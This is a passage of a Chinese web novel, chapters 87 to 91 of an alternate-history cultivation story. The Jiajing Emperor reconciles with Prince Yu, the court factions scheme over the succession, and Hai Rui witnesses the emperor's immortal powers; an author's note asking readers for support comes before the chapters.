“站那么远干什么,”嘉靖继续用木勺,搅动着灵粥,头也不回的开口道: “不上前一些,你能看的清楚吗?不上前一些,伱怎么能看清楚……” 说着,嘉靖合上砂锅盖,背手拿着木勺,凝视着裕王,道:“朕,是不是大限将至!” “……” ----------------- PS: 嗯,一般情况下,是不会在正文里添加这些话的,不过考虑到大家对上两章的剧情铺垫,不是很满意,所以不得不解释一下。 毕竟能一路走到这,都是大家的支持,我要端正态度(手动敬礼)。 一些必要的铺垫和走的剧情还是要走的,屯兵兴农的国策算是一个大剧情,肯定要写完整。 就像昨天的五千所多字,如果把今天的7K+放在昨天,那这段剧情就会很长很长,大家看的会很累,让故事呼吸一下也是很好的嘛。 小剧透一下。 屯兵兴农之后朝廷内外就能相对稳定,就可以合理的加快节奏了。 主角筑基之后,绑定本命,那大明仙国也要跟着再次提速。 PPS: 周一啦,虽然拿了个好推荐,但周一这天,还是很关键,求大家务必翻到最后看看评论,或者看看彩蛋章,跪求大家啦~~~ 快上架了,上架绝对爆更。 日万都是起步的那种,肯定看个爽,拜托了,谢谢,谢谢,谢谢! 第八十七章 父与子 “轰!” 几乎是在嘉靖话音落下的瞬间,裕王大脑当场一懵,瞬间空白。 继而反应过来后,浑身一颤,下一刻直接“噗通”一声跪倒在地。 “父,父皇,儿臣,儿臣……”裕王跪在地上,恐惧遍布全身,额头上冷汗渗出。 不算大的偏殿里头,这一刻在裕王的感觉里,仿佛弥漫着一股空前的压力。 他感觉有一只无形的大手,紧紧攥着他,让他几乎喘不过气来。 “你在恨朕。”嘉靖背手拿着木勺,踱步来到裕王跟前站定。 “没,没,”在嘉靖开口的瞬间,裕王浑身又是一颤,下意识的看了眼嘉靖,颤着声,道:“儿,儿臣,儿臣不敢……” “你有!”嘉靖语气低沉,一步步逼近,“你觉得,朕厌恶你?” “儿臣不,不敢……”裕王身子尽量伏低,随着嘉靖的走近,颤抖的愈发厉害。 “你母亲死后,朕没有追封她,你因此而心生埋怨?” “不,父,父皇,儿臣,儿臣不敢……” “你身为她的儿子,本该折衰三年,朕也没有允许,你开始心生怨恨?” “没,没,儿臣没有……”裕王的身体开始不安的向后挪动,声音中带着哭腔。 “百官不许服丧,大臣为她追封册文时,朕下令免跪免拜,你觉得朕是在折辱你们母子?” “父,父皇,儿臣,儿臣……”此时嘉靖已经来到了裕王跟前站定,裕王也早已是泣不成声,他伏在地上,拳头攥的死死的。 嘉靖居高临下,面无表情的看着趴在地上的儿子,神情间看不出分毫的喜怒之色。 “抬起头来。”嘉靖语气平静。 平淡的语气,却让裕王身体又是一颤,不过还是缓缓的抬起了头,对上了嘉靖的眼神,心底又是一颤,而后赶紧瞥向一旁。 “看清楚了吗?” “儿,儿臣,看清楚了……” “那朕在你心里,是不是大限将至了?朕要听实话。”嘉靖说着,微微俯身,深邃的眸子凝视着裕王。 “父皇圣寿无疆,儿臣,儿臣……”裕王一时间心乱如麻,在这双眸子下,他感觉心里的所有秘密都被看的一清二楚,以至于胡言乱语。 他害怕的想要把头杵在地上,至少这样,能让他感受到一些安全感,可又想到父皇的命令,他又不得不抬着头,与之对视。 看着眼前满眼恐惧,满面泪水的儿子,嘉靖轻叹一声,伸出一只手给他把脸上的泪水擦掉。 “父,父皇……”裕王害怕的哆嗦了一下,不过却是强撑着没有去躲。 但不知道为什么,感受到脑袋边上那只宽厚温暖的大手,他眸子里的眼泪却是越来越多。 “父皇……”终于鼻子越来越酸,再也绷不住低下头开始嚎啕大哭。 府着身的嘉靖,手悬空着,静静看着头杵在地上宣泄着这些年担惊受怕的委屈情绪的裕王。 玉熙宫的偏殿里,响彻着裕王的哭声。 站在偏殿门口的吕芳,则是撇过头去,抹了抹眼泪,身旁的陆炳也是默默低下了头。 “唉,”嘉靖长叹一声,俯下身拍了拍裕王的脑袋后,起身走向熬煮着灵粥的砂锅,拿过一旁的玉碗,盛了碗热腾腾的灵粥。 指尖微微一动,灵气驱散不少热气。 等到裕王止住哭泣后,嘉靖这才道:“喝了这碗粥,回去好好睡一觉……” “是,父皇。”收敛情绪的裕王抬起胳膊擦了擦眼泪,起身接过嘉靖手里的灵粥。 “坐下喝。”嘉靖指了指一旁的凳子,而后转身来到书桌前,看着面前的一副图画,心中一动,拿起一旁的笔,开始挥舞起来。 裕王悄悄的回头看了眼父皇,然后又默默的喝粥,嗯,只觉得这粥喝下去暖暖的,身体更是感觉前所未有的舒服,浑身一阵轻松。 一些往日里沉埋的暗疾,也隐隐有消疼的迹象? 不过他也没多想,只当是自己的错觉。 裕王不知道的是,看他喝粥,站在偏殿门口的吕芳则是在暗中小心“窥视”。 嗯,他没忘记,这是他今天的口粮。 “等会主子赐粥,咱家就给文孚盛一碗,然后直接抱起整锅喝喽……”想着,吕芳眼珠微微斜过去,暗戳戳的看向还傻愣着的陆炳。 “呵,”吕芳心中摇头,“到底是个粗鄙武夫……” 裕王是主子的儿子,咱家自是不敢有其他想法,这灵粥分一份就少一份…… 没办法,那就只能苦一苦你陆炳了。 一时间,吕芳心头已是诸般计较闪过心头。 “嗯?”被吕芳斜睨了一眼的陆炳狐疑的抬头看去,却发现吕芳一副眼观鼻鼻观心的模样。 嘶,他总感觉刚才有一抹寒意掠过,感觉有什么东西似乎失去了一样…错觉吗? “不够还有。”这时,喝完粥的裕王,舔了舔嘴唇,端着空碗有些期待的看着那一锅灵粥,听到嘉靖的话后,又按下心头欲望,起身道:“儿臣已经喝好了,谢父皇赐粥……” “这是给伱的,”嘉靖说着,将自己提好字的画卷递给裕王,“回去再看。” “是,”放下碗,接过画卷的裕王赶紧躬身行礼,然后抬头看向嘉靖,“那儿臣告退。” 见嘉靖摆摆手后,裕王又是躬身一礼,这才转身朝着大殿外而去。 “慢些走,”看着裕王的背影,嘉靖张了张嘴,道:“天湿路滑,小心着些,莫怕……” 走到门口的裕王身体一怔,回头看向嘉靖,鼻头又是一酸,笑着“哎”了一声,而后转身抱着画卷,就冲入了雨中。 他怕自己再多待一息的功夫,就再次失态。 眼看着裕王冲入雨雾中,门口的小太监赶紧撑开伞快步跟上。 一路疾走出了玉熙宫,裕王突然又停下,回头看向雨雾中,模糊的玉熙宫。 “父皇……”呢喃一声,裕王吸了吸鼻子,转身迈入轿子里。 坐在轿子里,抱着画卷的裕王,心中却是百感交集,心绪并不平静。今日,他在父皇身上,感受到了从未有过的亲情。 一时间,竟让他仿佛置若于梦中。 不由的,心中也开始心疼起了父皇来。 “父皇他吃药强撑着身体,在朝臣面前,表现的健康强硬,不得不操劳国事……” “父皇,你让四弟回来,跟儿臣同时掌权‘监国’,是在做最后的选择吗?”裕王在心头暗暗问着。 今日父皇的表现,至少让他确定,父皇并不是真的厌恶他,至少父子情…还在! 父皇身上担着的是九州万方,是祖宗基业,父皇如此强撑,必然不会将帝国交给一个庸弱无能之主手中,所以父皇啊…… 这是您最后的考验吗! 一瞬间,裕王似乎明悟了些什么。抱着怀里的画卷,手掌暗暗用力。 “看来,我不能再继续隐忍下去了…父皇,儿臣会用行动证明,儿臣比他强!” “这大明,儿臣可以背得动,儿臣一定会守好我们家的江山,并让它在儿臣手上更强……” “飒飒飒。” 轿外雨势渐大,裕王那始终隐忍,压抑的心,正在逐渐跳动! 他看出来,父皇是在为大明挑选最后的雄主,若是自己继续藏在那些大臣羽翼下,安于度日,唯唯诺诺的话,怕是会被四弟比下去。 四弟景王,他太了解了,为人豪爽,雍容,大气,霸道,像是太阳一般,跟他一比,四弟景王反而更像是一个王朝皇子。 此前,他以为父皇厌恶自己,所以才会处处小心谨慎,生怕行差踏错。 但是现在,既然父皇故意让他去争,去斗,若是还跟以前一样,那…… 一路进入裕王府,徐阶、高拱等人都已经等候。 “殿下。”众人对着裕王行礼。 摆摆手,裕王示意众人不必多礼后,深吸一口气,环视一圈看着自己,确切的说看向自己怀里那副画卷的众人,递给张居正。 张居正躬身一礼后,小心的跟高拱对视一眼,二人一左一右,郑重的打开画卷,而后徐阶跟赵贞吉,也都围了过来。 只见画卷上是一只霸气威武的雄虎,正在回头,低头用脑袋逗弄着一只小老虎。 而在画卷上方,还有一行苍劲有力,银钩铁画般的大字。 “虎为百兽尊,罔敢触其怒。” “惟有父子情,一步一回顾。”念到这里,张居正眸眼中有思索之色,道:“这似乎是洪武朝,丞相汪广洋的诗,陛下的意思是……” “啪嗒!” 这时,就见画卷上豆大的泪水滴落,众人惊疑看去,却见裕王已经泪崩。 “没错,没错,我想的没错……”裕王边笑边流泪,丝毫不顾及自己的失态。 “……” 第八十八章 磨刀石 “恭喜殿下!” 徐阶盯着这幅“画虎图”看了片刻,又看了看裕王这一副情绪释放的模样,心下顿时了然。 “皇上心里终究还是有殿下的。”徐阶认真道。 在场的几人都是人精,官场老油子,揣摩上意的一把好手,自然明白这幅图的意思。 这是在变相的告诉裕王,就算是虎王,依旧对亲子,拥有无限的包容。 裕王太怕皇上了,皇上这就是在告诉裕王,让他莫怕,父子终究是父子,血浓于水。 “我想,皇上让景王回来,有两个可能,”这时,张居正抚着胡须,在众人将目光看向他的时候,略一沉吟后,道: “我们都知道,陛下他可能……”说着,他语气微微一顿,而后又道:“第一个可能,是在为王朝选择一个最合适的继承人。” 众人闻言,都是暗暗点头,确实。 “第二个,”张居正说着,盯着裕王,沉声道:“这是对殿下的考验,也是一种磨练。景王,或许会是殿下的一块磨刀石。” 听到张居正这么说,裕王也是目光一凝,接过画卷,深吸一口气后,示意众人先坐后,道:“回来的路上,我也想过这个可能。” “但不论哪一种,都需要我努力,正如父皇今日所说,鸣蜩与草虫,昼夜与阴阳……苍天之下,万物都在争,我也要争!” “我要向父皇证明,我会比四弟强!” 看着这一刻,浑身上下,仿佛都有一股劲头的裕王,一众清流也是肃容起身行礼。 “我等,愿为殿下,肝脑涂地,死而后已!” 从屯兵兴农的国策开始,他们就知道,北境他们清流与严党之战,最终的结算是裕王与景王之争,赢北境之战者,赢天下。 此时,严府,书房里。 “爹,皇上的意思是……”严世蕃趴在小桌子上,探着身子,看向老爹严嵩。 “要么,皇上是要为大明选出一個合格的继承人,”严嵩抬了抬眼皮,温吞道:“要么,就是在用景王,给裕王殿下当磨刀石。” 听到这话,严世蕃眉头一挑,道:“那为什么不能是那裕王给景王当磨刀石……”说着,说着,声音渐渐小了下来。 因为他发现,老爹就这么看着自己。 “严世蕃,我们严家是皇上手里的恶狗,一朝天子一朝臣,这些年我们严家干的都是些什么事,我们自己心里清楚。” “你觉得,若是挑选辅佐者,那皇上会摒弃清流不用,而用我们这些天下人都恨之入骨的‘严党’吗?”严嵩看着傻住的儿子,颇为宠溺的哼笑一声,道:“我们是坏人,嗯?” “是啊,我们是坏人来着……”严世蕃张了张嘴,道:“所以,对于我们严家来说,皇上的意思,只能是第一个。” “也就是说,我们必须要在这次北境之战中,让皇上看到裕王的失败,景王的成功!” “拿纸笔来,我要给应德和景王殿下,各去一封信。”严嵩推了一把严世蕃的胳膊。 应德,唐顺之的字。 “爹,这个唐顺之虽说是我们一系的人,可此人说到底,骨子里也不是个为我们谋利的人,这次推举他做宣大总督,我总是不安……” “要不上点手段,把这唐顺之的家人控制起来!”严世蕃说着,眼神阴狠。 “住口!”严嵩语气一沉,怒声道:“严世蕃,我告诉你,接下来北境一切事务,我说什么你就做什么,否则大厦将颓,再无翻身可能!” 看着老爹发火,严世蕃咬了咬牙,恨恨的起身去拿纸笔。 唐顺之不同于胡宗宪,跟他们严家,并没有所谓的师生关系,最多就是挂名。 名义上是严党,虽然近些年也很听话,倒也受了严家一些帮扶,才能一展抱负。 可不是心腹,他终究觉得不如鄢懋卿和罗龙文这些人来的靠谱。 不过尽管心里不舒服,但严世蕃也知道,接下来北境之事太重要了。 今天老爹跟徐阶的对话,双方已经彻底撕破脸,他虽然自负,但今日徐阶展露出来的一切,都让他觉得,自己跟徐阶之间还是有些差距。 也只有老爹,能斗得过清流那帮人。 嘉靖自然不知道清流和严党双方此刻的想法,此时他正在忙着题诗。 玉熙宫,偏殿,书桌前。 裕王走后,吕芳跟陆炳便立刻伺候在近前。 看着书桌前,又拿出一幅此前自己准备的两幅画卷,在上面提字的主子,眉眼低垂。他知道,这幅画是准备给景王的。 此前,郭希颜案闹的太大,朝野动荡,以至于主子不得不把景王这个最宠爱的小儿子赶出京城,那天的雨也像今日这般大。 他至今记得景王跪在西苑外大喊着拜别父亲的一幕,那天的主子愣是硬着心肠没有见。 没有人比他更懂主子。主子他心间里,也是有温情在的,虽然不多就是了。 “呼,”嘉靖提笔,看着自己提好的诗,面容微缓,轻呼出一口气,道:“等景王进京了,这一副就送给他了……” “景王殿下若是知道,定是会欢喜的紧。”吕芳赶紧送上一记马屁。 一旁的陆炳微微撇过头,对吕芳这老货的‘节操’感到无语。 不知道为什么,他总觉得皇上跟儿子们之间的父子情,有点怪怪的。 刚才对裕王的老父亲关切,他能感觉得到,肯定是真的,因为他对儿子也有过这种真情流露,可是同样一幅画,送完这个又送那个。 又觉得这份父爱,太过…嗯,轻浮? “朱载坖压抑的太久了。”嘉靖放下笔,起身朝着后院而去,吕芳跟陆炳见此立刻跟上,“隐忍足够,缺少了几分皇者气度。” 听着主子点评两个儿子,吕芳跟陆炳都是闭嘴,不敢插嘴,只是默默听着。 “景王皇者气度足够,”嘉靖推开后院的门,站在台阶下,看着落入灵田小院的雨水,被一层淡淡的光芒弹开,道:“但城府不够。” “朕这两个儿子,还需要磨炼……”说话间,嘉靖抬手一张‘云雨符’打出。 只见符箓飘到小院中,继而一股灰雾翻滚,而后形成一片成年人大小的乌云飘荡在上方。 “轰隆隆。”随着一声雷鸣,乌云翻滚中,闪电浮现,而后乌云开始下起了灵雨。 看到这神奇的一幕,吕芳跟陆炳心头也是惊异,虽然主子使用符箓他们已经见过很多次了,可这等挥手间行云布雨的符箓还是头次见。 有了灵雨降下,灵田小院中,灵气像是被激起一般,荡起一股股浓郁的灵气旋风向三人涌来,伴随着的还有湿润的灵雨。 吕芳跟陆炳对视一眼后,很有默契的深吸一口气,而后大口大口的喝着‘西北风’。 “北境战场?倒是朕这两个儿子最好的磨刀石。”听到嘉靖的话,吕芳跟陆炳对视一眼而后齐齐躬身一礼,道:“帝君圣明!” “吕芳,等会用过餐,去把那个海瑞给朕叫进宫来,”说着,嘉靖微微一笑,道:“想必,他有很多话,或者说很多问题要问朕。” 听到嘉靖的话,吕芳跟陆炳对视一眼,心下了然,主子这是要重用海瑞这个孤臣了。 海瑞是一把双刃剑,他们都已经领教过威力了。 放眼整个大明朝,只有主子能驾驭。 若是北境战场决出胜负,那海瑞这把剑就要再次出鞘,一不小心就可能把败方和胜方都给斩了,主子自然是要提前给他上点强度了。 “是。”吕芳说着,看了眼陆炳,然后转身就朝着玉熙宫而去。 嗯?皇上不是说,等会吃了饭再去吗?看着吕芳的背影,陆炳皱了皱眉。 “呵,”见此,嘉靖突然轻笑一声,看着陆炳,道:“你要是再不去,那一锅灵粥,可都是吕芳那老滑头的了……” “嗡!”听到这话,陆炳脑瓜子当场就嗡了一下子! “……我!”心底暗骂一声,陆炳匆忙对着嘉靖一礼,然后转身拔腿就往殿里冲。 “吕芳,老匹夫,住嘴!”听着殿里,陆炳的爆喝,嘉靖摇头轻笑。 “……” 第八十九章 海瑞入宫 海瑞府上。 “刚峰!”衣衫被雨水打湿的王用汲,兴匆匆的推开书房门,激动道:“好消息,好消息啊,就在刚刚张阁老见了我!” 王用汲口中的张阁老,自然是指张居正了,其实对于下官来说,对内阁诸老,在私下里都可以用“阁老”称呼,以示尊敬的。 正坐在桌前,看着书的海瑞听到动静不由抬头看向自己这位,兴匆匆的好友。 “明受,你这一把年纪了,怎么还这么沉不住气?”也只有在跟这位好友在一起的时候,他才能偶尔放松一下,不至于那么严肃。 “哎?”听到海瑞竟然说自己一把年纪后,王用汲一咂舌,道:“我怎么就一把年纪了?我而立之年也才过了有三。” “倒是你刚峰,你可是已过了不惑之年有七个年头了,”说着,王用汲还用手比划着,道:“再过三年,你可就知天命了。” “呵,”王用汲说着,大踏步上前,略显得意,道:“那可才是真正的一把年纪哦?” “知天命?”面对王用汲的调侃,海瑞面色故作沉凝,而后背着手来到窗前,看着满天的大雨,长叹道:“唉……” 见海瑞突然唉声叹气,似乎肩负了某种沉重一般,王用汲张口就要说点什么,不过就在这时,又听海瑞背着手,抬头望天。 “天命?虽知天命,却不知如何驾驭风云,看来还需天上仙人,指点一二啊……”说着,海瑞已经回过身,看向了王用汲,一张黝黑沉重的脸上,更是止不住的笑意和揶揄之色。 “你!”刚要开口安慰好友的王用汲,看到海瑞这张笑脸,哪里还瞧不出来,自己被耍了,一双眼瞪着海瑞半晌后,突然摇头失笑。 “想不到啊,想不到,”王用汲连连摆手,顺势坐在一旁的椅子上,道:“想不到你海刚峰,浓眉大眼的,竟也说这等俏皮话。” “哈哈哈。”见他笑的直不起腰,海瑞也是仰身长笑,而后二指紧并,自上而下的掠过自己的青袍,而后又指向王用汲,道: “青箬笠,绿蓑衣,斜风细雨不须归。” “哈哈哈,”见此,王用汲笑着拍了拍腿,一手捧腹,一手连摆,道:“好你个海刚峰,你这是拿我当鱼钓,作乐呢?” 一时间,房间里二人笑声穿透雨幕,飘荡在屋顶上空。 好一会后,屋子里二人这才作罢。 “刚峰,这次玉熙宫议政,传递的东西有些多啊!”接过海瑞递来的热茶,轻抿了一口后,王用汲这才开口说起了正事。 海瑞没有说话,而是等着他的下文。 “首先就是北边的任命全部下达了,张阁老说了,皇上亲自任命的,唐顺之任命宣大总督,原先的大同总兵调去宁夏任巡抚。” 说到这里,王用汲语气微沉,道:“这个唐顺之,可是严党一系的人!” “大同总兵,则是由清流一派,原兵部侍郎王崇古担任,这个王崇古的家族有兼并土地的嫌疑,而你则是担任大同巡抚!” 说着,王用汲语气略松,道:“你现在是户部主事,正六品官,这算是连升五级啊!” “大同巡抚吗?”海瑞眸子中闪过一抹莫名之色,而后看向王用汲,道:“你呢?” “我?”王用汲指了指自己,轻叹道:“原本我是打算跟你一起去的,但张阁老却让我坐镇京师,与伱配合……” “别忘我了我可是裕王府詹士,正三品官呢。”只是说着,王用汲的嘴角露出一抹苦涩,“刚峰兄,你明白清流此举的意思吗?” 海瑞一怔,沉默片刻后点了点头。 “他们是逼迫你站队,”说着,海瑞抬眼看着王用汲,道:“你与我是至交好友,而我虽然如今名义上是清流,但他们不会接纳我的。” “他们想用你,在名义上来绑着我。” “若是我没有猜错的话,京师之地与大同的联系,就是你负责了?” 王用汲点了点头,拿起茶盏喝了一口,却是没有说话。 “如此,”海瑞轻叹,道:“严党在北境的所有人,都会将我视作敌人。” “他们这是逼着我去与严党战斗。他们是想将我当做一把剑,砍杀严党的爪牙!从而为这场‘战争’,增添胜算。” “刚峰兄,这次是我害了你。”王用汲语气充满了愧疚。 “不怪你,”海瑞深吸一口气,叹道:“清流和严党之争的背后,隐射的是裕王和景王的储君之争,明受……” 说着,海瑞凝视着王用汲,半晌后沉声道:“我原以为最大的危险会在北境。” “但如今看来,京师同样不安全!” “不愧是刚峰!”王用汲砸了咂嘴,“张阁老还说了,皇上已经下令让景王回京,跟裕王殿下二人,共同协理内阁!” “你明白吗?”王用汲表情沉凝道。 “让景王回京,二龙相争?!”听到这个消息,海瑞先是一怔,而后就是大脑当场“嗡”的一下子,而后回过神后,呢喃道: “挑选储君?又或者是磨刀石?” “什么?”听到海瑞的话,王用汲不解。 就在海瑞打算开口时,院外敲门声响起,仆人打开门,跟着就听一個尖细的嗓音响起,“陛下口谕,宣户部主事海瑞入玉熙宫。” “陛下召你入宫?”王用汲一怔,不过却也不敢怠慢,赶紧跟着出去。 “海主事,许久不见,可还安好?”黄锦看见海瑞这个熟人,笑着拱手问候,“海主事归京,荣升户部主事,咱家还没恭喜呢。” “有劳公公挂怀,一切安好。”海瑞拱了拱手。 “嗯,主子还在等着,”简单寒暄后,黄锦笑着对王用汲点了点头,然后道:“跟咱家进宫吧。”抬了抬手示意小太监给海瑞一把伞。 “不用换官服了,主子吩咐,就这么去就行。”不等海瑞开口,黄锦又笑着说了一句。 “谢陛下。”海瑞欠身说了一句,然后看了眼王用汲后,示意不用担心后,转身离开。 望着身影消失在雨中的海瑞背影,王用汲眼神中浮现出一抹复杂和期许之色。 “刚峰,你性格刚毅,是这大明朝一把除了皇上,无人能驾驭的剑。”王用汲想到张居正跟他交谈时,对海瑞的评价。 “也只有皇上,才能保得住你!” 车马一路急行,不一会便驶入了西苑,来到了玉熙宫外。 “海主事,我们出去吧。”海瑞闻言,点了点头,抬手示意黄锦先请,待黄锦从车厢内出去后,他也跟着掀开门帘,朝着玉熙宫望去。 雨雾蒙蒙中,让玉熙宫显得模糊。 “这就是皇上玄修之所吗?”海瑞呢喃一声,心中却也下定了一个决心,“或许,我应该请皇上明示,他是否玄修成功……” “……” 第九十章 海瑞:天下人都错了!我海瑞,决不允许一代仙帝,有半分污点! 玉熙宫,偏殿。 “主子,海瑞到了。”吕芳对精舍中的嘉靖恭敬道。 “宣。”闻言,正闭目打坐的嘉靖并未睁开双眼,而是继续运转着功法。 虽然他练气五层的修为,根本不可能短时间内有任何的境界上的松动,但他依旧没有松懈下来,依旧每天勤修。 “是,”吕芳躬身一礼后,转身来到门口,先是对黄锦道:“去玄圃宫伺候着吧。” “是。”黄锦对着吕芳点了点头,然后转身没入雨中。 “海主事?”黄锦离开后,吕芳这才上下打量了眼海瑞,语气有些冷淡,道:“随咱家来。”说完转身就朝着偏殿而去。 他能对严党和清流温声细语,虚与委蛇,但对这个海瑞,他是装都不想装。 至于原因,自然是海瑞上次那一篇奏疏了。虽然主子宽宏大量,不但不怪罪海瑞,还要重用他,但他这个家奴,可见不得这种人。 海瑞这种人,注定了没有几个人喜欢。 吕芳的冷淡,海瑞自然并不在乎,一路跟着,来到了偏殿处,然后就看到了那正中间,那八卦道台上的精舍,还有里头坐着的嘉靖。 第一次看到这位皇上,海瑞的心里是很复杂的。 此前,他对皇上有很多的不满和误解,不过这种误解,随着他回京,接触清流,在京城了解到一些事情后,这才明白过来。 自己的眼界过于狭小了,不管这位帝王此前过错如何,但至少他开始转好了。 而且,不光这些,他心里还有一个巨大的疑云升腾,久久无法散去。 那就是皇上他,到底有没有玄修成功! 对,奏疏那件事,在他心里,始终是一个未解之谜。 这一次,或许他可以借这個机会,一解心中疑惑。 “主子,海瑞带到了。”吕芳躬身说道。 而海瑞也终于在这个时候上前一步,而后下跪行礼,道:“臣,海瑞,参见陛下。” 站在一旁的吕芳看着海瑞那笔挺的背影,眼神中都是嫌弃的神色。 “呼,”轻轻呼出一口气后,嘉靖双眼睁开,看向跪在地上的海瑞,面容微缓,道:“起来吧,吕芳,去搬个座给他。” “是,”吕芳转身搬来一张小凳,放在海瑞身后,然后又静静立在一旁。 “谢陛下。”海瑞道了一声谢后,又小心的坐在凳子上,腰背依旧笔挺。 “知道朕这次叫你来,所为何事吗?”嘉靖看着海瑞。 “臣不知,还请陛下示下。”海瑞低了低脑袋,一副听话的样子。 “你是个聪明人,”嘉靖笑了笑,抬手指了指海瑞,又跟着道:“不过你为人太过刚直了,不过这过刚易折的道理,你肯定明白。” “朕也就不在这里多说了……” 皇上早就注意到我了吗…海瑞低下头,心中暗暗想着,低声道了“谢”,却是没有将头抬起,他听得出皇上的话音,还有后话。 “你可知屯兵兴农的意义所在?” “回皇上,”海瑞微吸一口气,而后抬起头,认真道:“屯兵兴农的国策若是施行,不但边疆会稳定,还能大大减小财政消耗。” “而后,内部继续招募士兵,用于东南沿海的抗倭,和镇压大明境内的一些叛乱。” “一南一北,甚至是大明全境,都能稳定,若是有什么国策需要施行……”说到这里,海瑞眼神中有亮光浮动,道:“亦可快刀斩乱麻的结束,还不至于引起大的动荡。” “若真有什么动荡,也能迅速弹压。”说到这里,海瑞心中也愈发的疑惑起来。 若是陛下真的大限将至的话,那这一切,也就都合理了。因为这是陛下在为后继之君扫清障碍,想要在自己离开前,把该办的都办了。 若是陛下不在乎身前身后名,直接快刀割过,将烂肉,浓疮全部剜掉,等新君继位后,只需要施以仁政,等伤口愈合即可。 如此,一个崭新的大明,就再次出现了。 大病要用大方,沉疴还需重剂,就是这个道理。 可是,陛下真的,大限将至了吗? 海瑞不由的,又想到了那份奏疏…不过很快,他便又压下心底的躁动。 “朕果然没有看错你,”嘉靖脸上露出满意的笑容,而后又道:“让你任大同巡抚,就是要你给朕盯好了,不允许有任何纰漏。” “因为朕相信你海刚峰!” “臣,海瑞,定不负陛下期望,只要臣在北境一天,就一定要确保屯兵兴农的国策无虞!”海瑞神情严肃,语气也前所未有的郑重。 但直觉告诉他,皇上还有其他要说,这次让自己入宫,除了交代北境之事,应该还有别的。 “你给朕写的那份奏疏,朕看过了。”就在海瑞心下暗暗猜测的时候,嘉靖再次开口了。 而这一次说出的话,却让海瑞心头大震,猛的抬起头,瞪大着眼,微张着口。 “皇,”海瑞说了一个字,迎上嘉靖的目光,而后深吸了一口气,起身直接跪在地上,脑袋杵着地板,道:“臣斗胆,问皇上……” 说着,海瑞张嘴,有些难以启齿,像是有什么东西卡在喉咙上一般,不过他最终还是问出了心中的疑惑,道: “敢问皇上,是否玄修成功?” 问出这句话的瞬间,在海瑞的感知中,大殿的气氛似乎都在这一刻,变得凝重起来。 他不是怕了,而是这个疑问,从他海刚峰嘴里问出来,太过,嗯,太过匪夷所思了。 其实,从定海县回来那日起,他就已经发现,自己变了,变得不再是原来的自己了。 当然是指对仙神之说,从原来的不屑一顾,从开始的刻意回避,再到近些日子以来去翻越古籍,去翻史书,去看佛道典籍。 正如今日与王用汲的玩笑中,他开始将“仙神”、“天命”这些词挂在嘴上了。 若是以往,即便跟友人玩笑,也不会这么说。 或许这在旁人看来没什么,但只有他自己心里清楚,这对他来说,是不正常的。 “飒飒飒。”天色渐暗,雨势却不减。 海瑞独自撑着伞,浑浑噩噩的走到玉熙宫外。 “呼!”突然就在这时,一阵风,裹挟着冰冷的雨水,迎面而来,海瑞这才浑身一个激灵,猛的回过神来,变得清醒。 “你觉得呢?”耳畔仿佛依旧回响着嘉靖那平静的声音。 脑海中也不由浮现出刚才在玉熙宫偏殿,自己所遭遇的那足以让他终身难忘的一幕。 一只透明的大手,就那么将他整个人抓住,提起,挥手间一道符箓打出,化作一道流光,而后变成一团云朵,将他整个人拖住。 更是让他切身的体会了一把什么叫腾云驾雾。 刚才的一幕幕,让他心头除了震撼之外,就是这几十年来的“世界观”轰然崩塌。 “这世上,真的有仙!”想着,海瑞回头看着雨雾中,灯火通明,朦胧的玉熙宫。 突然身子一软,一个踉跄,幸好一旁的太监眼疾手快的扶着,否则他非当场摔倒不可。 “海主事,您没事吧?”小太监关切的扶着海瑞,同时赶紧给他撑起一把伞。 “皇上他,真的玄修成功了!”海瑞却是无心理会这两个小太监,满脑子只有这一个念头。 之前,自己的猜测,都是真的! “根本没有什么为后继之君扫清障碍,突然停下宫殿建造,玄修用度,开始治国……” “是因为皇上他,不需要再用那些凡俗假道士的手段自欺欺人了,他玄修成功,真的踏上了一条通往仙神的道路……” “怎么办?”两个小太监看着失魂落魄的海瑞,对视一眼,只觉得很是麻烦。 海瑞是玉熙宫主子召见的人,他们自然不敢有丝毫的怠慢大意,言辞举动间很是小心。 “你扶上去送回家,我去禀告老祖宗。”年龄稍大的小太监说了一声,转身就走。 “海主事,奴婢送您回家。”小太监扶着海瑞上了车,好在海瑞虽然此刻心头纷乱,意乱如麻,但还是有行动的能力的。 “海主事您坐稳了,奴婢这就出发了。”小太监抹了一把脸上的雨水,甩动缰绳出发。 “裕王景王,二龙相争? 清流和严党,北境战争?呵,呵呵……”心中念叨着,海瑞突然发出一声苦笑,呢喃自语着的同时,看向后窗渐渐远去的西苑。 皇上没有怪罪他奏疏的大不敬,只是施展了一番手段,赏了他一颗丹药后就让他离开了。 那颗丹药服下后他吐出了口腥臭的黑血,而后他便感觉到身体中,往日积弊的一些病痛暗疾,全部消除的一干二净。 现在的他,身体健康的堪比二十多的小伙子。 “太子储君?”突然,海瑞又想到了君之争带来的,笼罩在所有人头顶上的阴霾,深吸一口气后,呢喃自语道: “错了,天下所有聪明人,严嵩父子,徐阶等清流,他们全都猜错了……” “陛下玄修成功,一颗丹药就能让我病痛全消,在世仙人的寿元岂是凡人能比?若是真立了谁为太子,反而是一种煎熬与折磨。” “几千年,上万年的太子?”想到这里,饶是海瑞,也不由的神色异样了起来。 此刻,他突然觉得严党和清流有些可怜了,自以为看透了皇上的目的,实则始终都不过是皇上的掌中之物而已。 “好好表现,伱未尝不可成仙……”突然,海瑞又想起皇上对他说的那句话。 一瞬间,就算是海瑞,也不由的心脏“嘭嘭”直跳。 成仙?就算是他海刚峰,钢铁般的意志,也在这一刻,狠狠地晃动了起来。 “长生的帝王,更需要劝谏!我若踏上仙道,定要尽心辅佐皇上,以报皇恩!” “让这大明更好,百姓更好,天灾、人祸,尽消!” “一代仙帝可铸就不世仙朝!而我海瑞,决不允许他,再有半分污点!” “皇上,为了报答您的恩情,海瑞发誓,只要有一口气在,就绝不会允许您有丝毫的错误!”海瑞拳头攥的死死的,心中暗暗发誓。 没错,海瑞在心动之余,想的更多的,除了黎民百姓外,还想着嘉靖! “……” 第九十一章 刚峰兄终于懂事了!吕芳突破,未来大明仙朝路! 西苑,玉熙宫。 “主子,”吕芳打发了了小太监后,来到道台下,“海瑞回去的时候,神情恍惚,看样子刚才所见所闻,对他的冲击不小。” 闻言,嘉靖笑了笑,没有过多评价。 当初他第一次知晓修仙界的时候,表现上没有比海瑞好多少。 至于吕芳,自然也是一样。 修仙对于凡人来说,本身就是一种世界观的冲击,心神恍惚,这些都是正常反应。 “月底,你能引气入体吗?”嘉靖对吕芳问道。 被嘉靖的目光注视着,吕芳心中一紧,不过还是快速回答,道:“回主子,奴婢体内仅剩几处穴窍需要打通,月底定能全部打通。” “届时便可以突破到引气入体!” 